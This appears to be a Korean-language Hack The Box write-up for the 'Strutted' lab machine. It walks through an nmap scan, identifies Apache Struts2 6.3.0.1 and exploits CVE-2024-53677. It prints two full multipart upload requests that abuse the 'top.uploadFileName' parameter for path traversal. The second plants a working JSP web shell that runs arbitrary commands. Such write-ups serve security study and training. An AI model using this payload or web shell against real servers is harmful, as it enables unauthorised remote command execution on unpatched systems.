CVE-2024-53677

nmap

[Sep 15, 2025 - 23:25:26 (KST)] exegol-htb
cve-2024-53677 # nmap -sC -sV strutted.htb
Starting Nmap 7.93 ( https://nmap.org ) at 2025-09-15 23:25 KST
Nmap scan report for strutted.htb (10.10.11.59)
Host is up (0.45s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3eea454bc5d16d6fe2d4d13b0a3da94f (ECDSA)
|_  256 64cc75de4ae6a5b473eb3f1bcfb4e394 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Strutted\xE2\x84\xA2 - Instant Image Uploads
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
 
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.34 seconds

strutted.htb 로 접속하면 아래와 같은 사진을 업로드 할 수 있는 서비스가 올라와 있는걸 볼 수 있습니다.

오른쪽 위에 Download 버튼을 누르면 strutted.zip 파일이 다운로드 되고 압축을 해제해줬습니다.

[Sep 15, 2025 - 23:45:10 (KST)] exegol-htb
strutted # ls
strutted  strutted.zip
[Sep 15, 2025 - 23:45:10 (KST)] exegol-htb
strutted # ls strutted
context.xml  Dockerfile  README.md  strutted  tomcat-users.xml

파일들을 찾아보다가 pom.xml에서 struts2 v6.3.0.1 를 사용 중인 것을 확인했습니다.

Apache Struts2는 Java 기반 MVC 웹 프레임워크, 액션 클래스와 설정으로 요청을 처리하고 뷰와 모델을 분리해 대규모 웹 애플리케이션 개발을 쉽게 하는 도구.

그래서 struts2 6.3.0.1 을 키워드로 검색해서 CVE-2024-53677 을 찾았습니다.

해당 POC를 참고해서 아래와 같이 파일이 업로드 되는 요청 형식을 만들었습니다.

POST /upload.action HTTP/1.1
Host: strutted.htb
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygd2b7ht7e4abnmtf
Content-Length: 313
 
------WebKitFormBoundarygd2b7ht7e4abnmtf
Content-Disposition: form-data; name="Upload"; filename="image.png"
Content-Type: image/png
 
GIF89a
 
Success Exploit
 
------WebKitFormBoundarygd2b7ht7e4abnmtf
Content-Disposition: form-data; name="top.uploadFileName"
 
../../vuln_test.txt
------WebKitFormBoundarygd2b7ht7e4abnmtf--

Exploit Request

POST /upload.action HTTP/1.1
Host: strutted.htb
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygd2b7ht7e4abnmtf
Content-Length: 1343
 
------WebKitFormBoundarygd2b7ht7e4abnmtf
Content-Disposition: form-data; name="Upload"; filename="image.png"
Content-Type: image/png
 
GIF89a
 
<%@ page import="java.util.*,java.io.*"%>
<%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Insert title here</title>
</head>
<body>
<form method="GET" name="cmdForm" action="">
<input type="text" name="cmd">
<input type="submit" value="전송">
</form>
<pre>
<%
if (request.getParameter("cmd") != null)
{
	out.println("명령어 : " + request.getParameter("cmd") + "<br>");
	
	Process p;
	
    if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1)
		p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd"));
    
    else
		p = Runtime.getRuntime().exec(request.getParameter("cmd"));
	
	InputStreamReader in = new InputStreamReader(p.getInputStream(),"euc-kr");
	BufferedReader br = new BufferedReader(in);
	
	String disr = br.readLine();
	
	while ( disr != null )
	{
		out.println(disr); 
		disr = br.readLine(); 
	}
}
%>
</pre>
</body>
</html>
 
------WebKitFormBoundarygd2b7ht7e4abnmtf
Content-Disposition: form-data; name="top.uploadFileName"
 
../../vuln.jsp
------WebKitFormBoundarygd2b7ht7e4abnmtf--